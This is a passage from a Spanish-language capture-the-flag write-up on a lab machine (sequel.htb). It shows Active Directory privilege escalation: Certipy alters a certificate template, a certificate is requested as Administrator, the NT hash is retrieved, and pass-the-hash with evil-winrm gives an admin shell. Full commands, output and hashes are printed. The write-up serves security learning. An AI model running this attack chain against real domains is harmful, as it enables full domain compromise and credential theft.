Primero, modificamos la plantilla para que pueda ser procesada correctamente a la hora de emitir un certificado con la cuenta ca_svc
certipy template -template DunderMifflinAuthentication -u ca_svc -k -dc-ip 10.10.11.51 -target dc01.sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
Issuing a Privileged Certificate
Emitiremos un certificado para el usuario Administrator
enviando la plantilla, el nombre del certificado y algunos datos como el User Principal Name
, Name Server
y un DNS alternativo (nuestra máquina). Importante: Si nos muestra un error, debemos volver a ejecutar el comando anterior y rápidamente ejecutar el siguiente comando
certipy req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'SEQUEL.HTB' at '10.10.11.51'
[+] Resolved 'SEQUEL.HTB' from cache: 10.10.11.51
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 33
[*] Got certificate with multiple identifications
UPN: 'Administrator@sequel.htb'
DNS Host Name: '10.10.15.37'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
PassTheCertificate
Procedemos a autenticarnos usando el certificado que generamos y que se guardó en el archivo administrator_10.pfx
para obtener el hash NT
del usuario Administrator
certipy auth -pfx administrator_10.pfx -domain sequel.htb -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'Administrator@sequel.htb'
[1] DNS Host Name: '10.10.15.37'
> 0
[+] Trying to resolve 'sequel.htb' at '192.168.29.2'
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Shell as Administrator
- PassTheHash
Solamente queda conectarnos a la máquina víctima, esto lo podemos hacer con varias herramientas dado que ya contamos con el hash NT
del administrador del dominio. En mi caso usaré evil-winrm
evil-winrm -i 10.10.11.51 -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
Ya podremos ver la flag del sistema almacenada dentro de la carpeta C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
5ac...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
I want to do with you what spring does with cherry trees. — Pablo Neruda